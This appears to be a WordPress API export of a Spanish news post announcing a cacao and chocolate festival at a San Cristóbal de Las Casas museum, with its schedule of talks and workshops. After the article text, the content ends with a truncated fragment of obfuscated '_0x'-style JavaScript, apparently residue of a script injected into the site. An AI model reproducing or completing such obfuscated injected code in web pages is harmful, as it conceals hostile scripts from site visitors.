{"id":11603,"date":"2023-08-30T04:16:40","date_gmt":"2023-08-30T04:16:40","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=11603"},"modified":"2023-08-30T04:16:41","modified_gmt":"2023-08-30T04:16:41","slug":"habra-festival-chiapaneco-del-cacao-y-chocolate","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=11603","title":{"rendered":"Habr\u00e1 Festival Chiapaneco del Cacao y Chocolate"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"771\" height=\"1024\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-29-at-4.59.37-PM-771x1024.jpeg\" alt=\"\" class=\"wp-image-11604\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-29-at-4.59.37-PM-771x1024.jpeg 771w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-29-at-4.59.37-PM-226x300.jpeg 226w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-29-at-4.59.37-PM-768x1021.jpeg 768w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-29-at-4.59.37-PM-1156x1536.jpeg 1156w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/08\/WhatsApp-Image-2023-08-29-at-4.59.37-PM.jpeg 1204w\" sizes=\"auto, (max-width: 771px) 100vw, 771px\" \/><\/figure>\n\n\n\n<p>\u00d3scar G\u00f3mez\/Corresponsal<\/p>\n\n\n\n<p>29 de Agosto del 2023. San Crist\u00f3bal de Las Casas.- Con motivo al D\u00eda Nacional del Cacao y el Chocolate, el pr\u00f3ximo 2 y 3 de septiembre, en los corredores del Museo de San Crist\u00f3bal (Musac), se realizar\u00e1 el Festival del Cacao y Chocolate d\u00f3nde a partir de las 10 de la ma\u00f1ana a 3 de la tarde habr\u00e1 una serie de talleres, conferencias y ponencias, con la finalidad de fomentar el consumo de esta importante semilla, as\u00ed como del chocolate artesanal, entre otros productos, inform\u00f3 Karla Moreno Constantino, integrante de la Coordinaci\u00f3n del Musac.<\/p>\n\n\n\n<p>En entrevista, coment\u00f3 que para el s\u00e1bado 2 de septiembre a las 11 de la ma\u00f1ana estar\u00e1 la ponencia \u201cSistema Agroforestal Biodiverso de Cacao: Una Forma de Producci\u00f3n Sostenible\u201d Impartido por el Dr. Orlando L\u00f3pez Baez de la AUDES Cacao Chocolate de la Unach. A las 12 horas \u201cEl A,B,C de la Producci\u00f3n Agroecol\u00f3gica de Cacao\u201d Impartido por la Dra. Sandra Isabel Ram\u00edrez Gonz\u00e1lez de la AUDES Cacao &#8211; Chocolate de la Unach.<\/p>\n\n\n\n<p>&#8220;A la 1 de la tarde estar\u00e1 la ponencia \u201cConservaci\u00f3n y Salud Alimentaria\u201d Impartida por el Antrop\u00f3logo Rogelio Pedraza de la Academia Mexicana del Cacao. Y para el domingo 3 de septiembre el taller demostraci\u00f3n de Bebidas con Cacao, impartido por el MVZ Victor Montes Araujo de Tatik Adelino, a las 10 de la ma\u00f1ana, a la 1 de la tarde habr\u00e1 una cata de chocolate por parte de la Academia Mexicana del Cacao y para finalizar a las 2 de la tarde \u00baun taller de demostraci\u00f3n para crear tu propio chocolate artesanal, impartido por Yessi<\/p>\n\n\n\n<p>Cital\u00e1n de Chocotunco de Acacoyagua&#8221;.<\/p>\n\n\n\n<p>Finalmente, aclar\u00f3 que los organizadores de este festival tendr\u00e1n a la venta varios de sus productos, pero estar\u00e1n fuera del Musac, &#8220;van a colocarse en la parte de enfrente que ya no pertenece al Musac, tambi\u00e9n para los interesados en consumir estos productos&#8221;.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>\u00d3scar G\u00f3mez\/Corresponsal 29 de Agosto del 2023. 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